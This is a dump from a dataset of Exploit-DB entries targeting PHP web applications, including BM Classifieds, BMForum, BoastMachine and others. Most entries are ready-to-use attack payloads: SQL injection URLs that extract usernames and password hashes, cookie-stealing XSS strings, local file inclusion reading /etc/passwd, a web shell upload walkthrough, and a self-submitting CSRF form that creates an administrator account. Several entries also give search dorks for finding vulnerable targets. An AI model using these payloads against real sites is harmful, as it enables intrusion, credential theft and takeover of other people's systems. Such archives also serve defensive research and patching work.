deardaniel/secdata-raw huggingface dataset:
Exploit-DB #5223
Description: BM Classifieds 20080409 - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2008-03-09
Author: xcorpitx

Exploit:
..##.....##     
...##...##      
....##.##
.....###CoRPITX 
.....###     
....##.##
...##...##
..##.....##

########################### Turkey ####################################
#                                                                     #
#################### www.Hayalet-hack.com #############################
#
##################### www.zone-turk.net/###############################
#             
#Powered by BM Classifieds (listingid),(ad)SQL Injection Vulnerability 
#
#######################################################################
#  
#  AUTHOR : xcorpitx
#
#  HOME   : www.Hayalet-hack.com / www.zone-turk.net
#
########################################################################

########################################################################
#
#  Dork 1 : ''showad.php?listingid=''
#
#  Dork 2 : ''pfriendly.php?ad=''
#
########################################################################
#            
#  EXPLOIT: 
#
########################################################################
#
#
showad.php?listingid=xCoRpiTx&cat=-99/**/union+select/**/concat(username,0x3a,email),password,2/**/from/**/users/*
#
#
pfriendly.php?ad=-99%2F%2A%2A%2Funion%2F%2A%2A%2Fselect%2F%2A%2A%2F0,1,concat(username,0x3a,email),password,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27%2F%2A%2A%2Ffrom%2F%2A%2A%2Fusers%2F%2A%2A%2F
#
#
########################################################################

Thanx :str0ke, pc faresi, s@bun,D3ng3s!z,hayalet,Turque,SmoKin

# milw0rm.com [2008-03-09]
Exploit-DB #10314
Description: BM Classifieds Ads - SQL Injection
Type: webapps
Platform: php
Date: 2009-12-04
Author: Dr.0rYX & Cr3W-DZ

Exploit:
###############################

                                                  ALGERIAN HACKER
   **********************- NORTH-AFRICA SECURITY TEAM -***********************

  [!]            BM Classifieds ads SQL injection vulnerability
  [!] Author    : Dr.0rYX & Cr3w-DZ
  [!] MAIL      : vx3@hotmail.de  &  Cr3w@hotmail.de

  ***************************************************************************/

  [ Software Information ]

  [+] Vendor : http://www.bmscripts.com/
  [+] script   : powered by BM Classifieds
  [+] Demo : http://classifieds.bmscripts.com/
  [+] Version() : 1.3
  [+] Vulnerability : SQL injection
  [+] Dork :inurl:"classifieds.php?cat="
               inurl::"showad.php?listingid="

  **************************************************************************/
  [ Vulnerable File ]

  http://server/classifieds.php?cat=[N.A.S.T ]

  [ Exploit ]

  http://server/classifieds.php?cat=144+union+select+username,password,3,4+from+users

  [  GReet ]

  [+] :xcv-dz , CLAW , kader11000 ,le0n , exploit-db.com , ALL HACKERS MUSLIMS
Exploit-DB #26042
Description: BMForum 3.0 - 'announcesys.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-07-27
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/14396/info
   
BMForum is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
   
An attacker may leverage any of these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.
 
http://www.example.com/announcesys.php?forumid=0[XSS-CODE]
Exploit-DB #26040
Description: BMForum 3.0 - 'forums.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-07-27
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/14396/info
 
BMForum is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
 
An attacker may leverage any of these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/bmb/forums.php?forumid=6[XSS-CODE]
http://www.example.com/bmb/forums.php?forumid=6&listby=posttime[XSS-CODE]&jinhua=&page=
http://www.example.com/bmb/forums.php?forumid=6&listby=posttime&jinhua=[XSS-CODE]&page=
http://www.example.com/bmb/forums.php?forumid=6&listby=posttime&jinhua=&page=[XSS-CODE]
Exploit-DB #26041
Description: BMForum 3.0 - 'post.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-07-27
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/14396/info
  
BMForum is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
  
An attacker may leverage any of these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/post.php?forumid=2\[XSS-CODE]
Exploit-DB #26039
Description: BMForum 3.0 - 'topic.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-07-27
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/14396/info

BMForum is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage any of these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/bmb/topic.php?forumid=6&filename=38496&page=2[XSS-CODE]
http://www.example.com/bmb/topic.php?forumid=6&filename=38496[XSS-CODE]&page=2
http://www.example.com/topic.php?filename=1923[XSS-CODE]
Exploit-DB #31826
Description: BMForum 5.6 - 'bsd01footer.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-05-22
Author: CWH Underground

Exploit:
source: https://www.securityfocus.com/bid/29339/info
 
BMForum is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
BMForum 5.6 is vulnerable; other versions may also be affected. 

http://www.example.com/[BBForum_path]/newtem/footer/bsd01footer.php?footer_copyright=<XSS>
http://www.example.com/[BBForum_path]/newtem/footer/bsd01footer.php?verandproname=<XSS>
Exploit-DB #31827
Description: BMForum 5.6 - 'bsd01header.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-05-22
Author: CWH Underground

Exploit:
source: https://www.securityfocus.com/bid/29339/info
  
BMForum is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
  
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
  
BMForum 5.6 is vulnerable; other versions may also be affected. 

http://www.example.com/[BBForum_path]/newtem/header/bsd01header.php?topads=<XSS>
http://www.example.com/[BBForum_path]/newtem/header/bsd01header.php?myplugin=<XSS>
Exploit-DB #31825
Description: BMForum 5.6 - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-05-22
Author: CWH Underground

Exploit:
source: https://www.securityfocus.com/bid/29339/info

BMForum is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

BMForum 5.6 is vulnerable; other versions may also be affected. 

http://www.example.com/[BBForum_path]/index.php?outpused=<XSS>
Exploit-DB #6642
Description: BMForum 5.6 - 'tagname' SQL Injection
Type: webapps
Platform: php
Date: 2008-10-01
Author: ~!Dok_tOR!~

Exploit:
Author: ~!Dok_tOR!~
Date found: 30.09.08
Product: BMForum
Version: 5.6
URL: www.bmforum.com
Vulnerability Class: SQL Injection
Condition: magic_quotes_gpc = Off

Exploit:

http://localhost/[installdir]/plugins.php?p=tags&forumid=0&tagname=-1'+union+select+1,concat_ws(0x3a,username,pwd),3,4+from+bmb_userlist+where+userid=1/*

# milw0rm.com [2008-10-01]
Exploit-DB #16938
Description: BMForum Myna 6.0 - SQL Injection
Type: webapps
Platform: php
Date: 2011-03-07
Author: Stephan Sattler

Exploit:
# Author: Stephan Sattler
# Software Website: http://www.bmforum.com/
# Software Link: http://www.bmforum.com/down/
# Required: magic quotes = Off

[ Vulnerability ]
 
 /add-on/js_viewnew.php line 20++:

$length = $_GET['length'];
$forumid = $_GET['forumid'];
$num = $_GET['num'];
$forumnum=$forumid;

{....}

$query = "SELECT * FROM {$database_up}threads WHERE forumid='$forumid' ORDER BY 'changetime' DESC LIMIT 0,$num";

#Explanation:

$forumid($_GET['forumid']) isn't sanitized at all, an attacker could use this for an SQL-Injection.

#Example for an injection:

http://[site]/[folder]/js_viewnew.php?forumid=2'+AnD+1='1&num=1&length=1
Exploit-DB #7345
Description: BNCwi 1.04 - Local File Inclusion
Type: webapps
Platform: php
Date: 2008-12-04
Author: dun

Exploit:
  :::::::-.   ...    ::::::.    :::.
   ;;,   `';, ;;     ;;;`;;;;,  `;;;
   `[[     [[[['     [[[  [[[[[. '[[
    $$,    $$$$      $$$  $$$ "Y$c$$
    888_,o8P'88    .d888  888    Y88
    MMMMP"`   "YmmMMMM""  MMM     YM

   [ Discovered by dun \ dun[at]strcpy.pl ]

 ###########################################################
 #  [ BNCwi <= 1.04 ]  Local File Inclusion Vulnerability  #
 ###########################################################
 #
 # Script: "BNCwi is a Open-Source webinterface for psyBNC. 
 #		    With it you easily can manage your Bouncer via a graphical interface."
 #
 # Download: http://sourceforge.net/projects/bncwi/
 #
 # [LFI] Vuln: http://site.com/bncwi/index.php
 #	
 # 	POST /bncwi/index.php HTTP/1.1
 #	
 #	Host: www.site.com
 #	User-Agent: Mozilla/5.0
 #	Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
 #	Accept-Language: pl,en-us;q=0.7,en;q=0.3
 #	Accept-Encoding: gzip,deflate
 #	Accept-Charset: ISO-8859-2,utf-8;q=0.7,*;q=0.7
 #	Keep-Alive: 300
 #	Connection: keep-alive
 #	Content-Type: application/x-www-form-urlencoded
 #	Content-Length: 49
 #	
 #	newlanguage=../../../../../../../../etc/passwd%00
 #	
 #	HTTP/1.x 200 OK
 #	Date: Fri, 05 Dec 2008 01:27:15 GMT
 #	Server: Apache
 #	X-Powered-By: PHP/5.2.6-pl7-gentoo
 #	Keep-Alive: timeout=15, max=100
 #	Connection: Keep-Alive
 #	Transfer-Encoding: chunked
 #	Content-Type: text/html
 #     
 # Bug: ./bncwi-1.04/index.php (lines: 47-56)
 #
 # ...
 #	if(isset($_POST['newlanguage']))
 #	{
 #		setcookie("bncwi_language", $_POST['newlanguage'], time()+60*60*24*30);
 #		if($_SESSION['logedin'] == "1")
 #		{
 #			mysql_query("UPDATE `$table_customers` SET `language` = '$_POST[newlanguage]' WHERE `serverid` = $_SESSION[server_id] AND BINARY `login` = '$_SESSION[USER_LOGIN]' LIMIT 1;");
 #		}
 #		$_SESSION['language'] = $_POST['newlanguage'];
 #		include("lang_".$_POST['newlanguage'].".inc.php");								//LFI
 #	}
 # ... 	 
 #
 #
 ###############################################
 # Greetz: D3m0n_DE * str0ke * and otherz..
 ###############################################

 [ dun / 2008 ] 

*******************************************************************************************

# milw0rm.com [2008-12-04]
Exploit-DB #38712
Description: Bo-Blog 2.1.1 - Cross-Site Scripting / SQL Injection
Type: webapps
Platform: php
Date: 2013-08-20
Author: Ashiyane Digital Security Team

Exploit:
source: https://www.securityfocus.com/bid/61880/info

Bo-Blog is prone to a cross-site scripting vulnerability and an SQL-injection vulnerability because it fails to properly sanitize user-supplied input.

Attackers can exploit these issues to execute arbitrary code in the context of the browser, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database; other attacks are also possible.

Bo-Blog 2.1.1 is vulnerable; other versions may also be affected. 

http://www.example.com//view.php?go=userlist&ordered=1%27 [SQLi]

http://www.example.com/view.php?go=userlist&ordered=1&usergroup=%22/%3E%3Cscript%3Ealert%281%29;%3C/script%3E [XSS]

http://www.example.com//view.php?go=userlist&ordered=1&usergroup="/><script>alert(1);</script> [XSS]
Exploit-DB #38874
Description: BoastMachine - 'blog' SQL Injection
Type: webapps
Platform: php
Date: 2013-12-13
Author: Omar Kurt

Exploit:
source: https://www.securityfocus.com/bid/64278/info

BoastMachine is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://example.com/user.php
(POST - blog)
blog='+(SELECT 1 FROM (SELECT SLEEP(25))A)+'
Exploit-DB #30656
Description: BoastMachine 2.8 - 'index.php' Local File Inclusion
Type: webapps
Platform: php
Date: 2007-10-11
Author: iNs

Exploit:
source: https://www.securityfocus.com/bid/26032/info

boastMachine is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

Exploiting this issue may allow an unauthorized user to view files and execute local scripts.

boastMachine 2.8 is vulnerable to this issue; other versions may also be affected. 

http://www.example.com/index.php?id=../../../../../../../../../../../etc/passwd
Exploit-DB #27889
Description: BoastMachine 3.1 - 'admin.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-05-17
Author: Yunus Emre Yilmaz

Exploit:
source: https://www.securityfocus.com/bid/18012/info

BoastMachine is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

BoastMachine 3.1 is reported to be vulnerable. Other versions may be affected as well.

http://www.example.com/admin.php/"><script>alert('xss')</script>
Exploit-DB #30086
Description: BoastMachine 3.1 - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-05-25
Author: newbinaryfile

Exploit:
source: https://www.securityfocus.com/bid/24156/info

BoastMachine is prone to a cross-site scripting vulnerability.

Exploiting this vulnerability may allow an attacker to perform cross-site scripting attacks on unsuspecting users in the context of the affected website. As a result, the attacker may be able to steal cookie-based authentication credentials and to launch other attacks. 

http://www.target.com/index.php?action=search&item=content&blog=[xss]
Exploit-DB #34107
Description: BoastMachine 3.1 - 'key' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-06-07
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/40623/info

boastMachine is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

boastMachine 3.1 is vulnerable; other versions may be affected. 

http://www.example.com/?action=search&title=item&blog=1&key=%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E
Exploit-DB #4952
Description: BoastMachine 3.1 - 'mail.php' id SQL Injection
Type: webapps
Platform: php
Date: 2008-01-21
Author: Virangar Security

Exploit:
########################################################################
#                                                                      #
#    ...:::::boastMachine <=3.1 SQL Injection Vulnerbility ::::....    #           
########################################################################

Virangar Security Team

www.virangar.org
www.virangar.net

--------
Discoverd By :virangar security team(hadihadi)

special tnx to:MR.nosrati,black.shadowes,MR.hesy,Zahra

& all virangar members & all hackerz

greetz:to my best friend in the world hadi_aryaie2004
& my lovely friend arash(imm02tal) from emperor team :x
-----------------------------------
dork: Powered by boastMachine v3.1
-----------------------------------
vuln:
http://localhost/bm/mail.php?id='/**/union/**/select/**/1,2,concat(user_login,char(58),user_pass),4/**/from/**/bmc_users/**/where/**/id=1/*&blog=[blog_id]
example:
http://localhost/bm/mail.php?id='/**/union/**/select/**/1,2,concat(user_login,char(58),user_pass),4/**/from/**/bmc_users/**/where/**/id=1/*&blog=1
-------------------------------------
you can see somting simillar to:
Send the post "swagger:e74c7cc56d033d32b8cb465c2bbc379b" to a friend
#############
'swagger' is admin user & 'e74c7cc56d033d32b8cb465c2bbc379b' is encoded admin password ;)
-------------------------------------
mybe other versions are Vulnerbil too :)

# milw0rm.com [2008-01-21]
Exploit-DB #11249
Description: BoastMachine 3.1 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2010-01-24
Author: alnjm33

Exploit:
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
Exploit Title : boastMachine v3.1 Remote File Upload Vulnerability
Author: alnjm33
Software Link: http://boastology.com/pages/dload.php?id=bmachine-3.1.zip
Software Link2:http://boastology.com/pages/dload.php?id=bmachine-3.1.rar
Version: 3.1
Tested on: Version 3.1
My home : Sec-war.com<http://Sec-war.com>
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
==========================================Dork==========================================
( Powered by boastMachine v3.1 )
================================Exploit=============================================
First join in the Site
/Server/path/register.php
After that
login in the Site
/Server/path/login.php
After Login
go to this link
/Server/path/bmc/files.php?form_id=new
Now upload your shell like ( Shell.php.rar )
Now you can find your shell here
/Server/path/files/username_Shell.php.rar
e.g
http://server/hp_boastMachine/files/alnjm33_aasaa.php.rar
=======================================================================================
Greetz to :PrEdAtOr -Sh0ot3R - xXx - Mu$L!m-h4ck3r - ahmadso - JaMbA - RoOt_EgY- jago-dz - XR57 all Sec-War.com members
Exploit-DB #18676
Description: BoastMachine 3.1 - Cross-Site Request Forgery (Add Admin)
Type: webapps
Platform: php
Date: 2012-03-28
Author: Dr.NaNo

Exploit:
# Exploit Title: boastMachine v3.1 <= CSRF Add Admin Vulnerability
# Date: 28/3/2012
# Author: Dr.NaNo
# Software Link: http://boastology.com/pages/dload.php?id=bmachine-3.1.zip
# Version: 3.1
# Tested on: Linux-Red-Hat
# Google Dork: Powered by boastMachine v3.1
#
########################################################
#                     ~ Exploit ~                      #   
########################################################

<html>
<form  name="nano" action="http://localhost/{PACH}/bmc/admin.php?action=add_user&blog" method="post">
<input type="hidden" name="action" value="add_user"><br/>
<input type="hidden" name="do" value="add"><br/>
<input type="hidden" value="NANO" name="user_login"><br/>
<input type="hidden" value="NANO1234" name="user_pass"><br/>
<input type="hidden" value="Administrator" name="user_name"><br/>
<input type="hidden" value="security@wsecurity.com" name="user_email"><br/>
<input type="hidden" value="4" name="blogs[]"><br/>
<input type="hidden" value="4" name="user_level"><br/>
<input type="hidden" value="Add"><br/>
</form>
<script>document.nano.submit();</script>
</html>

########################################################
#                                                      #
# ~ Greetz : Dr.WEP , JIKO , ( All FriendS ) ~          #
#                                                      #
########################################################
Exploit-DB #5858
Description: BoatScripts Classifieds - 'type' SQL Injection
Type: webapps
Platform: php
Date: 2008-06-18
Author: Stack

Exploit:
BoatScripts Classifieds Sql INjection

By Stack
Home v4-team.com

poc : http://site.co.il/index.php?type=-1/**/UNION/**/SELECT/**/concat(char(58),user(),version(),database())/*
live demo tested
http://www.boatscripts.com/boats/index.php?type=-1/**/UNION/**/SELECT/**/concat(char(58),user(),version(),database())/*

# milw0rm.com [2008-06-18]